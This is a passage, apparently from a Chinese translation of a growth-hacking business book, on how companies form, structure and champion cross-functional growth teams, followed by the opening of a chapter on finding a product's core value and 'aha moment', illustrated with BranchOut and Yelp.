Analytics）的实习生或者外包给数字代理商，这是比较极端的情况，但仍然普遍存在。我们将在第三章详细讨论这个问题。太多的公司不够重视数据分析，而是采用像谷歌分析这种预先设定的程序，导致它们无法有效地整合不同来源的数据，比如销售数据和客户服务数据，也使它们无法充分利用这些数据获得重要的洞察。数据分析师的能力大小将决定增长团队是在浪费时间还是在挖掘数据金矿。\n产品设计师\n同样，这个职位在不同类型的公司也有着不同的头衔和职能。在软件开发领域，专注于用户体验的设计师负责开发与用户交互的界面和序列。在制造业，设计师可能负责产品画图和规格。而在其他一些公司，设计师可能主要负责广告和推广文案的图像设计。在增长团队中，设计师的参与可以提高试验执行的速度，因为这意味着团队有一位专职人员能够迅速地完成任何需要设计的工作。用户体验设计师也能够在用户心理、界面设计和用户调研技巧方面提供重要的见解，帮助团队寻找试验思路。\n团队规模与工作范畴\n在创业公司和小型企业，增长团队中上述每个领域可以只有一个人，甚至团队只有几个人，每个人负责不止一项工作。而在大公司，增长团队可能包括多位工程师、营销人员、数据分析师和设计师。增长团队的构成和职责，包括团队的规模、组织结构和具体的任务和重心，必须符合公司的需要。增长团队的工作范围可能比较宽泛，比如负责公司各个领域的增长业务，也可能非常具体，比如负责产品某个部分的改进，如购物车功能。有些增长团队是固定的组织单元，比如Zillow和推特的团队，而有些则是为特定任务成立的，比如新产品发布，目标完成之后便会解散。有些公司成立了多个增长团队，每个团队负责不同领域的工作，领英和Pinterest就是这样。Pinterest有四个增长团队，分别负责用户获取、病毒式增长、用户参与和新用户激活。而有的公司只有一个增长团队，负责多项任务，比如脸谱网和优步。\n如果你刚刚着手成立一个增长团队，那么你可以从不同部门各抽调一两个员工，这样可以使团队迅速启动，团队的规模可以日后逐渐增扩，也可能另外设立新的团队。例如，IBM成立增长团队的时候是为了扩大Bluemix DevOps产品（为工程师提供的软件开发包）的用户群，公司调了5个工程师和5个来自业务部门和市场部门的其他员工组成了团队。在英曼，摩根率领的增长团队由一个数据科学家、三个营销人员和一个网页开发者组成。摩根也是公司的产品开发负责人，他在团队里担任产品经理的角色，作为COO，他也是团队里级别最高的成员，但是他并不是增长负责人，增长负责人由一位市场经理担任，摩根负责帮助并指导团队工作。\n工作流程\n选好了团队成员之后，他们应该做些什么呢？增长黑客过程提供了团队应当开展的一整套具体活动，通过迅速试验寻找新的增长机遇并扩大现有的机遇。这一过程是一个持续的循环，由四个主要步骤组成：（1）数据分析与洞察收集；（2）想法产生；（3）排定试验优先级；（4）试验执行。在第四步完成之后重新回到数据分析阶段，评估试验结果并决定下一步行动。在这一阶段，团队将确定产生了初步成果的试验想法，并进一步完善，而对于结果差强人意的试验想法，则直接抛弃。通过循环往复地推进这一过程，增长团队将不断积累大大小小的成功，创造一个不断改进的良性循环。\n图1–2 增长黑客过程的四个步骤\n团队应定期召开增长会议以保证工作进度。团队会议一般应每周召开一次，它能够为管理团队试验工作、回顾试验结果并决定下一步试验内容提供一个严谨的场合。增长团队可以采用敏捷软件开发方法里的常设会议做法。敏捷开发利用冲刺计划会议组织下一步工作，而增长会议也十分类似，使团队能够回顾进展、确定下一步试验顺序并保持试验速度。\n在会议上提出的试验想法将分配给不同成员负责执行、分析或研究，以明确该想法是否值得试验。团队增长负责人在两次周会之间定期与每个团队成员进行沟通，检查工作进度，并帮助他们解决可能出现的问题。\n周会可以使团队保持工作进度与重心，确保高度的协调与沟通以推进这一节奏飞快的过程。这个过程就像是在赛道上飞驰的F1赛车，在保持速度的同时不断进行微调，如果做不好则可能变成刹车失灵冲出道路的笨重卡车。除此之外，这种深度合作的会议能够达到1+1=3的效果，不同成员的专长结合在一起的影响力将会翻倍，使优质的想法变成强大的增长引擎。这样的会议也经常能够催生非常出人意料的想法，而其中很多都是成员独自一人无论如何也想不到的。\n例如，通过对于客户流失的深入分析，团队可能会发现很多弃用产品的人都没有使用产品的某一功能，而这一功能非常受活跃用户的欢迎。这一发现可能促使团队试验不同的方法，引导用户试用这个功能。再举一个我们GrowthHackers.com增长团队的例子：在分析用户数据时，我们发现社区提交的内容包含富媒体格式（比如会议演示文稿或者YouTube上的视频），与简单的文章链接相比，这些内容大大提高了用户参与度并为网站带来了更多的重复访问量。于是增长团队成员提出了一系列为网站增加更多音频、视频等富媒体内容的想法。接下来的工作看似很明确但缺乏新意，直到团队里的一位工程师加入进来，告诉我们不仅可以用一个简单的插件在网站上支持很多类型的媒体文件，还可以嵌入一段代码，自动识别YouTube、SoundCloud和SlideShare等知名媒体网站的链接并马上将链接内容嵌入网站的讨论页面。于是我们所做的就不是直接增加一两个媒体源的视频那么简单了，而是实现了对十几个媒体源内容的支持，而且大大简化了在网站上发布多媒体内容的过程。如果没有工程师的参与，我们很可能不会想到这个办法。之后，我们重新设计了试验，结果网站社区活跃度的增长远远超出了我们的预测。我们将在第四章介绍最高效的会议组织流程，也会提供一个会议日程样板供读者参考。\n人员分工\n至于人员分工，每个团队成员仍然应负责各自擅长的工作，有时也需要独立工作，至少在团队成立初期是如此。例如，工程师会负责试验所需要的编程工作，设计师负责团队需要的任何设计元素，数据分析师则负责挑选试验将要覆盖的用户群，而营销人员则负责执行任何针对营销渠道的试验，比如新的脸谱网广告计划。如果团队里有用户体验设计师，他/她可能会负责收集并分析用户关于他们最看重的产品功能的反馈，并将分析结果汇报给团队。而这样的调研可能会引导团队提出改变某个功能或者测试某个新功能的想法。而后，团队可能会让工程师负责相应的编程工作，比如，如果调研发现用户在浏览网站时容易“找不着北”，工程师就可能需要对网页进行调整，比如修改购物车界面。\n当然，团队成员在其他时候也需要密切合作。比如要开发一个新的产品功能时，团队负责不同工作的成员需要就产品的设计和执行、信息传达方式和产品提供方式以及结果评价指标等达成统一意见。例如，负责移动App的团队可能会通过讨论决定，将提高新用户转化为固定用户的速度作为工作重心，也可能因此决定的需要对新用户首先看到的几屏进行大刀阔斧的重新设计，以优化页面的信息传达，并就此开展试验。\n必要的高层支持\n公司的组织汇报结构必须对增长团队有清晰的界定，即增长负责人应向谁汇报。团队应当由一位高管负责，以确保团队有权跨过既定的部门职责界限开展工作。增长不应作为一个边缘项目存在，如果没有明确且坚定的高层意愿，增长团队将会在公司中处处受阻，陷入低效、僵化的形式主义和地盘之争。在创业公司，如果创始人或CEO本人不直接领导增长团队，那么团队就应该直接向他/她汇报。在规模更大的公司，可能同时有几个增长团队，团队则应向副总裁或者首席官中的一位汇报，这位首席官能够保证整个首席官团队都支持增长团队的工作。总之，组织最高层的支持对于团队取得持续的成功至关重要。\n马克·扎克伯格就是增长团队所需领导力的典范。他在脸谱网成立初期就不遗余力地推动增长，从那时起他对增长工作的热情一直不曾消退。2005年，也就是脸谱网正式成立增长团队两年之前，公司负责数字营销的诺亚·卡根向扎克伯格提出了一个能够为公司创收的想法。卡根是第三十名加入脸谱网的员工，他认为公司需要向投资者证明他们是可以盈利的。当时，他们在公司的会议室里，卡根正在阐述他的想法，而扎克伯格打断了他，从座位上起身，走到白板前拿起一支记号笔在上面写下了大大的“Growth”（增长）一词。扎克伯格认为，公司当时需要做的就是全力以赴扩大脸谱网的用户人数，不应该有别的想法。他在公司创立初期就态度鲜明地把增长置于包括收入在内的所有其他企业关注点之上，这正是脸谱网取得巨大成功的关键所在。\n即使在企业纷纷投资虚拟现实和人工智能等未来技术的今天，核心客户群的稳健仍然毫无疑问是投资未来的基础。正如脸谱网的CTO（首席技术官）迈克·斯科洛普夫对《快速公司》杂志（Fast Company）所言，“我一半时间在关注公司日常运营，一半时间在关注未来发展，这有时会让人有些错乱，但是我们必须要保证核心业务保持持续增长，因为这是我们大力投资长期项目的前提和基础”。\n世界最大的房地产网站Zillow的联合创始人斯宾塞·拉斯科夫也是增长过程的坚定拥趸。负责公司增长业务的副总裁奈特·默克是公司的第四十位员工，他回忆说，拉斯科夫和高管团队从第一天起就把增长作为首要任务。随着公司的成长，Zillow也建立起了一支以默克为中心的增长团队，以保证公司始终如一地专注于增长。默克的团队与脸谱网的工作模式类似，主要关注公司的KPI（关键绩效指标），并与其他产品团队合作促进获客和留存，以实现各自的业务目标。\n拉斯科夫设立了一个名为“Play”的增长计划，即以每9到12个月为一个周期不断进行的增长活动，并以此为核心将整个公司凝聚起来，共同实现增长使命。例如，在2008年，公司注意到其网站流量正在被一个竞争对手吞食，这个竞争对手是一家叫Trulia（美国房地产搜索引擎）的行业新秀。流量的流失在很大程度上是因为Trulia巧妙地利用了搜索引擎优化使其在谷歌搜索结果中的房源数据高于Zillow。于是Zillow的高管团队决定将当年“Play”计划的主题定为搜索引擎优化，公司里的所有团队都要将此作为首要任务，力争在搜索方面做到世界一流。这意味着公司文化的重大改变，因为在此之前公司一直忽视了搜索引擎优化，而更多地关注其他营销策略。但是最终每个团队都找到了搜索引擎优化的办法，而且Zillow也赶超了Trulia，并在2015年以30亿美元将其收购。\n汇报结构\n研究员安德鲁·麦金尼斯和三善大辅开展的针对硅谷企业的调查显示，增长团队有两种常见的汇报结构。他们将第一种结构称为职能模式（或产品部门主导模式），在这一模式下，增长团队向主管其工作范围内的某个产品或几个产品的高管汇报。\n图1–3 产品部门主导模式\n比如，产品部门主导的团队可能将全部精力放在公司移动App用户的增长上，而另一个团队则可能专注于推动接受网络免费新闻资讯服务的读者升级到付费订阅的行列。有些情况下，产品部门主导团队的职责范围可能仅限于改进产品某一个方面的性能，比如通过优化onboarding（即引导用户了解如何使用产品）激活某线上学习软件的新用户。在Pinterest，约翰·伊根领导的增长团队全心贯注于测试发给用户的邮件和手机推送消息的频率、内容和行为召唤，旨在促使用户更频繁地使用产品。这一职责范围听起来可能太小了，但是正是这种高度的专注才能使团队真正深挖公司的关键增长点。例如，团队最近的一次尝试是打造了“Copytune”，这是一个非常复杂的机器学习算法，使团队能够快速地测试用30多种语言编写并推送给用户的几十种不同的通知版本，在软件选出效果最好的版本之后，团队再跟进试验以寻求更优结果。这一计划的成效非常显著，使网站的月活跃用户数（MAU）大增。\n产品部门主导的团队也可能负责尝试各种不同方式以驱动增长漏斗各个层面的增长，从吸引新客户到提高留存率，再到增加客户产生的收入。\n一般来说，在采用这一模式的公司，每一个产品经理都会领导一个由工程师、用户体验设计师和数据分析师组成的小产品团队，而且经常一个产品部门会有若干个这样的小团队。这个模式在成熟的企业或者已经处于创业后期的公司比较容易实施，因为它能够很快地融入既有的管理结构。这不仅意味着企业架构不需要大幅重组，也能够减少在将增长试验纳入既有产品功能开发路线图的过程中可能遇到的摩擦。\n除Pinterest之外，领英、推特和Dropbox也采用这一模式。\n另外一种模式是创建一个独立的团队，这样的团队不再归属于既有的产品开发团队。增长团队负责人向增长副总裁汇报，而增长副总裁一般直接向CEO或者其他高管汇报。增长副总裁这个角色的设立通常是为了保证公司管理层中有人对团队的成果负责，优步和脸谱网就是两个例子。不同于产品部门领导的团队，独立团队并非只专注于某一个产品，而是有权就公司所有类型的产品开展试验，甚至可以在公司现有的产品线之外寻找战略层面的增长机遇。一个典型的例子就是脸谱网的增长团队在认识到Octazen的技术能够帮助改进其朋友推荐计划的效果时建议公司收购Octazen。而且，脸谱网的增长团队开展的增长计划覆盖范围十分广泛，他们不仅帮助公司改进既有产品及功能，比如优化新用户注册流程，甚至还为公司开发了一些新产品，比如Facebook Lite，这是专为数据通信比较落后的地区建立的。增长团队还为产品团队提供支持，当产品团队遇到困难时，增长团队会像特警部队一样空降过来帮助他们发现产品优化和增长的机会，并向他们展示如何推进增长试验过程。\n图1–4 独立模式\n在公司发展初期成立独立增长团队的阻力是最小的，因为这时公司架构还没有成型，资源归属和汇报制度还没有正式确立下来。在地盘尚未正式划分的时候，如果要分配一部分职责和人员给增长团队，公司里不会有太多的抱怨声。不过虽说如此，在规模更大、更成熟的企业成立独立的增长团队也并非不可能。沃尔玛就在2011年成立了一支独立的增长团队。它采取的办法是收购硅谷一家知名创业公司Kosmix的创新中心，而这个创新中心就成了“沃尔玛实验室”。这个团队作为专注于电子商务的部门独立运作，聚焦沃尔玛网站和App的数字创新计划，其中就包括我们在前言里提到的非常成功的“低价捕手”App。团队同时也负责对数字创业公司中的“潜力股”进行收购，比如时尚搜索应用Stylr和网络食谱公司Yumprint，并将这些公司的技术和人才用于提升沃尔玛的电商业务。\n需要强调的一点是，即便增长团队享有充分的独立性，它仍然需要公司高层的大力支持，以应对组织内部的敏感问题和可能出现的摩擦，比如产品、市场、设计和工程人员各自都有自己的行事方式和工作重心，增长团队在和他们打交道时很可能会遇到一些问题。\n如何化解阻力\n一家公司在成立第一支增长团队时难免会遇到一些阻力。除了组织架构和规范尚未完全确立的初创公司外，对于大多数企业来说，建立一个或多个增长团队都意味着重大的人事和汇报制度的调整。不论这样的调整是长期的还是仅限于某一特定的短期增长任务，都需要牵涉一部分人员的工作安排和职责变动。有过在企业工作经历的人都知道，做出这样的调整势必会遇到一些挑战。\n从根本上看，大多数的摩擦都是由企业文化造成的。包括市场、产品开发和软件工程在内的很多部门的人员对于工作安排都有着既成的认知，即他们的团队应当做什么，应当如何去做。在BitTorrent，市场部最初的想法是只关注用户获取，数据分析则由公司的数据团队来完成，而且分析完全是按照产品团队的要求进行。测试工作并不属于任何部门的工作范围，几乎完全被忽略了。可想而知，当成立增长团队并打破原有的部门筒仓时，公司需要下不少功夫来做出相应调整。\n诸如此类的摩擦在成立增长团队的过程中屡见不鲜。乔西·施瓦扎佩尔加入雅虎，成立并领导增长团队时，主要任务是实现公司移动产品的增长。他回忆说，当他的团队开始试验向访客推广雅虎的应用时，遭到了品牌团队的排挤，因为他们认为增长团队的做法偏离了原有信息传达方式所使用的风格和语音提示。产品经理也十分谨慎，因为增长团队所做试验触及的人群和影响力都太广了，每一个在移动设备上访问雅虎网站的人都会看到他们做出的调整。克服这一阻力需要跨团队通力合作，也需要建立团队之间的信任。“我们需要付出大量的努力以赢得伙伴团队的支持。”施瓦扎佩尔回忆说。\n造成摩擦的另一个原因，是增长试验及其所需动用的资源可能会干扰或者牺牲开展既有项目和工作所需要的时间或资源。例如，在BitTorrent，安娜贝尔花了大量时间设计试验并分析试验结果，这占据了她开展更加迫切的收购工作的时间。而且，随着团队对数据分析的需求不断增加，数据团队变得不堪重负，直到管理层决定为数据团队招兵买马，情况才有所缓解。\n摩擦的产生也是因为增长团队将领域和背景如此不同的一群人聚集在一起，可想而知，他们势必会有意见相左的时候，有时甚至在立场观点和工作重心上存在冲突。工程师一般只对在技术上最具挑战性的工作感兴趣，而不关心他们提出的解决方案是否会对增长产生实质性的影响。产品经理往往沉迷于产品开发与发布工作，如果市场和销售团队在最后一分钟提出产品改动要求却给不出有说服力的商业理由，他们可能会大发雷霆。用户体验设计师经常会反对为产品引入一些试验性的功能或特征，因为他们担心原本对产品满意的用户会因此感到厌烦。营销人员则可能会过于关注像网站访问量或销售线索这样的“面子指标”，而忽略了在漏斗的其他部分（比如用户留存）提升指标的必要性。\n此外，这些立场在上述每个群体的成员中往往都根深蒂固，这不仅是组织结构设计使然，他们相应的入职培训、各自的心态及其背后的激励因素都造成了这样的结果。因此，即便在初创企业，让这些来自不同领域的人携手合作都可能是个不小的挑战。\n如果管理得当，增长团队完全可以减少这些摩擦，前提是公司要为整个团队实现共同的增长目标提供充分的激励和奖励措施。缓解矛盾的另一个方式是确保在决定试验的优先顺序以及评价试验结果时严格用数据说话，而不是仅凭主观臆断。脸谱网增长团队前负责人卡马斯·帕里哈比提亚将这样的主观臆断称为公司掌握产品设计、消费者需要方向的“学问”。每个公司，不论大小，都有一些根深蒂固的“学问”，我们应当通过以数据驱动的试验来打破它们。例如，在Qualaroo，员工一度认为如果产品涨价公司就没法保持成功，这也导致公司的发展止步不前。然而，他们在做了价格试验之后发现，在提价超过400%的情况下公司仍然能够通过吸引一个新的用户群而获得增长。\n当数据分析给出了强有力的结果时，反对意见就很容易处理了。而设计严密的试验带来的结果也会让人无法辩驳，这也能够让人摆脱对自己的某种愿景或策略的执念。而且如果试验过程完全基于数据，团队成员往往会认可这一学习过程的严谨性，并且它可以为成员提供试错的空间，通过不断试错找到最佳做法并取得成功。\n毕竟，成功是化解冲突、消除分歧的最有效手段。很多增长团队的成员都表示，随着他们不断努力取得令人惊叹的成果，不仅团队内部对增长黑客方法的热情高涨，这种热情也不断蔓延至整个公司。\n团队的演进\n随着公司的不断增长和演变，增长团队也应当随之变化。在脸谱网，增长团队从最初的5人迅速壮大成一个庞大的群体，并且聚焦多个领域，比如国际市场和新兴市场手机业务领域。\n通常来说，随着公司的扩张，员工越来越多，增长团队的构成和关注点也会随着时间的推移而有所变化。这时，增长团队可能会从特定部门或者新增部门招募更多人手，可能也会划分成不同小组，分别负责公司不同业务板块下的更加具体的增长计划。Pinterest的增长团队就从一个独立团队演变成了产品部门下的四个小团队，分别负责用户体验的不同方面。在推特，乔西·埃尔曼的团队也从一个一开始只关注“用户引导”的小组演变为一支规模更大、责任更广的增长团队。其他专业人员也可能加入团队提供特定领域的技术或知识支持，他们可能是公司内部的固定员工，也可能是从外部顾问公司或代理公司聘请的临时雇员。公司在扩张的同时应保持并扩大增长团队的规模，以保持以增长为中心的企业文化。即使是最具创意的产品和想法也会因为缺乏持续的改进而止步不前、最终陨灭，这在现实中常常发生，而增长团队是避免这种惨痛结局的法宝。\n对于初创企业来说，增长团队一般都规模很小，需要从团队外部聘请擅长用户增长某一领域（比如用户获取或留存）的专家。对它们来说，为团队增加外部实力能够带来诸多裨益，正如Dropbox当初聘请肖恩一样。这样的小团队能将其成员对产品及公司的深刻了解与外部实力结合起来，从而获得丰硕的成果。需要注意的是，不论是在初期阶段还是其他任何时期，都不能将增长的核心职责外包出去。增长工作太重要了，不能轻易交给他人去做，而外部顾问常常缺乏足够的权力、时间或内在动力为实现公司可持续的增长而攻坚克难。\n万事开头难\n增长黑客过程可能看起来很难落实。搭建一个跨职能的团队并不容易，各个部门的经理可能会反对增长团队占用他们手下员工的时间，大量的试验也会让很多人望而却步。总之，势必会有人说“不”，势必会遇到阻力。好在增长黑客能够带来良性增长循环。目标非常具体的小型团队往往会通过推行增长黑客过程取得一系列的成果，而这能够在整个公司激起员工对于这一过程的热情。一旦人们看到这一以数据驱动的试验方法产生的增长创意的威力，势必会萌生对这一过程的热情，而这种热情如星星之火可以燎原。\n不论是在公司还是某个部门内部，增长黑客的推行都不是一蹴而就的。可以试着先成立一个团队使其只专注于某一个产品，甚至是产品的某一个方面，比如网站的注册页面。或者你也可以让团队只负责优化公司的某一个获客渠道，比如加强脸谱网上的获客，或是扩大公司博客的读者群，又或是提高公司邮件营销的效果。增长团队也可以只关注某一个指标，比如提高激活过程中的转化率，或者加强用户留存。随着成功的累积，增长团队的责任范围可以逐渐扩大，或者公司可以成立更多的增长团队。\n如果你是小团队负责人，希望尝试一下增长黑客过程，那么最好能够先获得一些支持，哪怕只是几个同事和一个上司的认可。在推行过程中难免会犯错，试验也会有失败，网页可能会崩溃，这些都是这一试验过程的必经之路。而上级的支持可以大大减轻这些失败带来的冲击。IBM的BlueMix DevOps团队增长负责人劳伦·谢福尔就曾经在开展增长黑客试验的初期启动了一项测试，结果导致产品的主页崩溃。但是她的上司非常支持增长黑客行动，所以她和她的团队很快摆脱了这次失利的阴影。\n增长团队也不应太早启动，因为如果产品不受用户的喜爱，那么任何试验都无法激发持久的增长。当然，对于一个不尽人意的产品，很多公司都会想方设法保持一定的用户忠诚度或者获得足够的销量，但是它们终将失败。\n正因如此，企业在明确其产品对于市场是“不可或缺”还是“有没有都无所谓”之前，都不应制订过于雄心勃勃的增长计划，我们在下一章会更详细地讨论这一点。现在你已经知道如何搭建一个增长团队了，接下来让我们进入这一过程的下一个步骤：团队如何利用客户反馈、严密的试验和测试以及深入的数据分析来评估一个产品是否实现了产品—市场匹配。\nCarolyn Dewar, Scott Keller, Johanne Lavoie, and Leigh M. Weiss, McKinsey & Company,Organization Practice, “How do I drive effective collaboration to deliver real business impact?”September 2009.\nAdam M. Kleinbaum, Toby E. Stuart & Michael L. Tushman, “Communication (and Coordination?) in a Modern, Complex Organization,” Harvard Business School’sWorkingKnowledgeBlog, July 31, 2008.\nRanjay Gulati, “Silo Busting: How to Execute on the Promise of Customer Focus,”Harvard Business Review, May 2007.\nBen Horowitz, “Good Product Manager/Bad Product Manager,” Andreessen Horowitz website (no exact date given), a16z.com/2012/06/15/good-product-managerbad-product-manager/.\nNoahKagan, “What HAppens After You Get Shot Down by Mark Zuckerberg?” Fast Company, July 24, 2014, fastcompany.com/3033427/hit-the-ground-running/what-hAppens-afteryou-get-shot-down-by-mark -zuckerberg.\nHarry McCracken, “Inside Mark Zuckerberg’s Bold Plan for the Future of Facebook,” FastCompany,Long Read/Behind the Brand(blog), November 16, 2015.\n“Fireside Chat: Defining True Growth—How Do You Find Your North Star Metric,”GrowthHackers, https://growthhackers.com/videos/gh -conference-16-fireside-chat-with-natemoch-vp-product-teams-at -zillow-and-morgan-brown-coo-at-inman-news.\nAndrew McInnes, “How Do You Choose the Best Growth Team Model?” Medium, October 19, 2015, medium.com/swlh/how-do-you-choose-the-best-growth-team-model-632ad5a85 be9#.955lnqbgc.\nJohn Egan, “How We Increased Active Pinners with One Simple Trick,” Pinterest Engineering blog, March 18, 2016, engineering.pinterest.com/ blog/how-we-increased-activepinners-one-simple-trick.\nAnand Rajaraman, “Goodbye, Kosmix. Hello, @WalmartLabs,” @Walmart-Labs blog,May 3, 2011, walmartlabs.blogspot.com/2011/05/goodbye-kosmix -hello-walmartlabs.html.\nJosh Schwarzapel, “How to Start a Growth Team: Lessons learned from starting the Yahoo Growth & Emerging Products Team,” Medium, July 9, 2015. 12.\nMcInnes, “How Do You Choose the Best Growth Team Model?”.\n摩根对乔西·埃尔曼的采访，2016年4月26日。\n摩根对劳伦·谢福尔的采访，2016年3月3日。\n第二章\n 好产品是增长的根本\n所有快速增长的企业都有一个共同点——无论它们的客户是谁、商业模式如何、产品类型为何、处于哪个行业或是世界哪个地区，它们的产品都广受喜爱。在用户的眼中，它们打造的产品是“不可或缺”的。\n虽然创造一个不可或缺的产品本身并不足以给公司带来爆发式增长，但是这是公司实现迅速、持续增长的基本条件。当然，打造一个不可或缺的产品并非易事。很多公司在发布新业务或者新产品的时候常常本末倒置，投入大量的人力、物力和财力试图吸引更多用户使用它们的产品，而事实上它们的产品并不招人喜欢，有时甚至并不被目标受众所接受。这是创业者最常犯也是最致命的错误之一，也是成熟的公司——甚至那些因创新力而知名的公司——在发布新产品的时候常常遇到的难题。比如谷歌眼镜和亚马逊的Fire Phone，它们都是非常具有创新力的产品，但是并没有多少人感兴趣。又比如微软2006年11月推出的Zune媒体播放器，据称微软斥资至少2600万美元对其进行推广，但是市场反应依然十分冷淡。Zune并不是一个糟糕的产品，其实很多评论都认为它的设计比较出众，但是与已经随处可见的苹果iPod（音乐播放器）相比，它并没有什么令人惊叹之处。尽管微软不断加码进行推广，甚至在2009年推出了升级版Zune HD，但它的市场份额始终都没有超过个位数，最终微软在2011年叫停了这个项目。\n增长黑客的基本原则之一就是在确定你的产品是否不可或缺、为何不可或缺以及对谁来说不可或缺之前不要进入快节奏试验阶段，也就是说，你必须要了解你的产品的核心价值是什么、对哪些客户来说具备这些核心价值以及为什么。（一个例外情况是社交网络类产品，此类产品的核心价值就是用户本身。）这可能听起来再浅显不过了，但事实上，要做到这一点往往需要十足的耐心，因为企业始终都面临着推动产品增长的巨大压力。对于创业公司来说，压力可能来自投资方，或者公司需要向潜在投资者证明自己的盈利能力，又或者公司需要创收以维持自身运营。即便是在成熟的公司，由于它们往往会给产品规定一个目标收入份额及期限，业绩增长的压力也同样沉重。而随着压力的累积，人们会越来越倾向于相信通过加大营销投入便能够获得增长。\n但事实是，无论营销和广告投入有多大，无论营销手段有多高明，我们都无法使人们爱上一个不合格的产品。如果你无法在大力推动增长之前创造或者确定产品的核心价值，那么你或许可以沉迷于一时的增长幻影，但也可能会立刻遭到市场的排斥。当然，大张旗鼓的产品发布可能在开始时吸引一些眼球，但是如果产品不具备令人惊叹的特质，即使请巨星做代言人或者斥资几百万美元打广告，都不会获得可持续的增长。\n过早追求增长会产生两个层面的机会成本。首先，你会将宝贵的时间和金钱浪费在错误的事情上，即推广一个不受欢迎的产品。其次，当你过早追求增长的时候，你非但没法把早期客户转化为忠实粉丝，反而会令他们失望，甚至使他们变成愤怒的批判者。记住，病毒式的口碑传播是一把双刃剑，它可以帮助你实现增长腾飞，也可以令你灰飞烟灭。\n有人将增长黑客曲解为打造产品病毒性的一种方法。这确实是主要的策略之一，但是与其他的增长努力一样，它必须要在确定产品的不可或缺性之后才能被采用。脸谱网增长团队的前负责人卡马斯·帕里哈比提亚回忆说，他在启动团队的增长工作时强调：“不要给我任何关于病毒传播的产品方案，我不想听。”\n增长团队需要采取严密的方法分析用户行为，以发掘产品或服务的核心价值，我们稍后会介绍这些方法。此外，增长团队需要认识到，有些时候，产品或服务的核心价值并不仅仅在于它的功能，而是在于它是否与恰当的核心市场相契合，而这一核心市场可能和公司一开始所设想的相去甚远，我们稍后也会详细讨论这一点。\n最后，值得强调的一点是，创造了核心价值并不意味着我们一定能够正确定位核心价值。像我们这样开发并推广新产品的人常常都会以为我们知道客户会喜爱我们产品的哪一点，但事实上我们以为的往往都是错的。有时候产品真正的核心价值可能完全不同于我们最初在产品愿景中所设定的，它可能是在产品推出之后才加进去的某个功能或用户体验。无论如何，增长团队都应当找到这个核心价值。这就是本章的重点。\n不宜过早开展增长攻势\n曾经增长最快的脸谱网应用之一为我们提供了一个过早过猛地开展增长攻势的反面典型。BranchOut（脸谱成立的一家职业社交网站）成立于2010年，旨在使脸谱网用户通过关联他们的工作联系人在网站上搭建一个职业网络，当时媒体盛赞它为领英的克星。这些评论家指出，如果你在脸谱网上有了自己的职业人脉网，那还要领英做什么呢？为了加速这个App的病毒式增长，团队在扎克·奥尼斯克的带领下设计了一个巧妙的增长手段，即利用脸谱网的邀请功能让更多用户把App分享给他们在脸谱网上的朋友。\n当时，脸谱网允许用户向自己在这一平台上的朋友发送邀请，分享自己新安装的App。事实上，很多App都通过在脸谱网上利用这一功能获得了飞速增长，比如大受欢迎的游戏应用Farmville。但是，脸谱网的基本邀请功能只允许用户一次性向不超过50位朋友发送邀请，而BranchOut团队知道脸谱网邀请的转化率非常低。他们认为，确保病毒式增长的唯一途径就是使用户发送更多邀请。奥尼斯克说，他们为此试验了数百种方法，直到他们无意间发现了一个解决方案。团队找到的这个办法能让用户跳过50个好友邀请的上限，通过在一个经过特殊设计的窗口中反复点击“下一步”按钮，使脸谱网的邀请系统向用户建议向另外50名好友发送邀请，如此反复进行。这一策略使用户推荐量激增，BranchOut的用户数量也在短短三个月的时间里从400万增加到了2500万。\n唯一的问题是，人们开始使用这个App的时候却失望地发现它并没有很大用处。很快，大批涌入的新用户又迅速地撤离了，每天流失的用户一度高达月活跃用户数的4%。人才招聘资讯媒体ERE Media甚至将之称为网络界的“庞氏骗局”。\nBranchOut的创始人里克·马里尼在2012年的一次演讲中承认公司当时走错了路，太过仓促地追求获客却没有改善产品体验。“人们常常认为存在一种能够获取流量、实现病毒式增长的法宝，”他说道，“我们的教训告诉我们，有时候你能够取得暂时的病毒性增长，但是如果想要维持长期的用户增长，首先必须有个好产品。我们认识到，我们必须改进产品，吸引用户每天打开它。不能只做一个人们偶尔需要的工具，而是要打造一个社区。现在我们必须要做出这个转变。”\n但是这一转变的念头最后却变成了一厢情愿的空想。BranchOut虽然获得了近5 000万美元的风险投资，但是最终也没能从一次性的病毒奇迹中跳脱出来，它的疯狂之路最后戛然而止，公司以200万美元外加一部分股份将资产出售给了一家名不见经传的人力资源公司1-Page。\n很多发力过早过猛的产品在取得了飞跃式的增长之后像BranchOut一样最终如烟火般陨灭。正如Airbnb的增长团队所言，增长团队必须始终谨记，“是爱创造了增长，而不是增长创造了爱”。而要赢得用户的喜爱，就必须创造“啊哈时刻”（AhaMoment）。\n找到产品的“啊哈时刻”\n当Yelp在2016年作为上市公司获得20亿美元的估值时，它的成功似乎从一开始就注定了。但事实上，它在创立初期增长十分乏力，因为它面对着十分强大的竞争对手——城市搜索（Citysearch）。这家公司比Yelp大得多，在2005年曾跻身美国50大网站之一，并且背后还有着庞大的母公司——媒体大亨巴里·迪勒的公司InterActiveCorp（美国互联网商业巨头）。而Yelp则是在2004年10月作为一个概念验证手段启动的，当时连脚跟都还没有站稳，甚至连创始人杰里米·斯托普尔曼都不确定Yelp究竟有没有足够的价值。后来，斯托普尔曼的团队在分析用户数据时发现，相当多的用户都在使用网站上隐藏得很深的一个功能——用户可以发布对当地商家的评论。\n团队做了一些试验，观察当把“评论”置顶并居中显示时网站访客将做何反应。在看到不错的结果之后，他们调整了商业模式，从最初向他人推荐商家的模式转变为以评论为核心的用户体验模式。但他们并没有止步于此，之后，团队又在网站上创建了旧金山湾区2000万家小商家的资料，并鼓励用户添加评论。增长就此一触即发。与此同时，它的主要竞争对手城市搜索却变得不值一提，并且在2010年被合并到了城市网络媒体（CityGridMedia）之下。\nYelp找到了它的“啊哈时刻”。“啊哈时刻”就是产品使用户眼前一亮的时刻，是用户真正发现产品核心价值——产品为何存在、他们为何需要它以及他们能从中得到什么——的时刻。换句话说，就在这个时候，用户认识到这个产品对他们来说为什么不可或缺。正是这个时刻下的体验使早期用户转变成产品的超级用户和宣传大使。对Yelp来说，这个体验就是用户能够通过网站上真实可靠的社区评论发现当地的餐馆和其他商家。对易贝来说，用户的“啊哈时刻”是从来自世界各地的人的手中发现并拍下独一无二的物品。对脸谱网来说，是能够马上看到家人和朋友发布的照片和状态并且跟他们分享自己的近况。对Dropbox来说，是便捷的文件分享和无限的储存空间。而优步的“啊哈时刻”正如其联合创始人兼CEO特拉维斯·卡拉尼克所说，“你点击一下手机就有一辆黑色的车来接你，谁能这么酷？能够让一辆黑色的车8分钟之内赶来接你，这绝对酷毙了”。“啊哈体验”是可持续增长的必要元素，因为有了这个体验的用户会觉得产